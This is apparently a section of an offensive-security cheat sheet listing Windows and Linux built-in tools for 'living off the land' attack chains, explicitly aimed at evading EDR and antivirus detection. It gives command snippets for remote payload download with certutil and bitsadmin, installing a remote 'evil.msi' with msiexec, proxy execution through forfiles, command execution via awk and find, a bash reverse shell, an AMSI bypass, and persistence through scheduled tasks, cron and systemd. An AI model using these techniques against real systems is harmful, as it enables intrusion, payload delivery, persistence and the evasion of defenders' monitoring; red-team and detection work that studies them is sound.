23. Living off the Land (LotL) Attack Chains
Complete the attack using the target system's built-in tools, without dropping additional binaries, greatly evading EDR/AV detection.
| Tool |
Purpose |
| PowerShell |
Download execution / reconnaissance / credential operations (obsolete? replace with C# AMSI Bypass) |
| WMI |
Remote command execution / reconnaissance / persistence |
| certutil |
Remote download (certutil -urlcache -split -f) |
| mshta |
Execute HTA/JavaScript |
| msiexec |
Install remote MSI (msiexec /q /i http://xxx/evil.msi) |
| msbuild |
Execute inline C# (msbuild.exe xxx.csproj) |
| csc.exe |
Compile C# locally (no Visual Studio dependency) |
| rundll32 |
Load DLL / execute JavaScript |
| forfiles |
Proxy execution (forfiles /p c:\ /m notepad.exe /c "cmd /c evil") |
| psexec |
Remote execution (Sysinternals) |
| schtasks |
Scheduled-task persistence |
| reg |
Registry operations / persistence |
| wmic |
Remote WMI command execution |
| bitsadmin |
Background download |
| installutil |
.NET application install → execute code |
| Tool |
Purpose |
| curl/wget |
Download payload |
| bash -i |
Reverse shell |
| python/perl/ruby |
One-line executors |
| awk |
Command execution (awk 'BEGIN{system("id")}') |
| find |
Command execution (find / -exec cmd \;) |
| xxd/base64 |
Encode/decode |
| ssh -R/-L |
Tunneling / port forwarding |
| crontab |
Persistence |
| systemctl |
Service creation / persistence |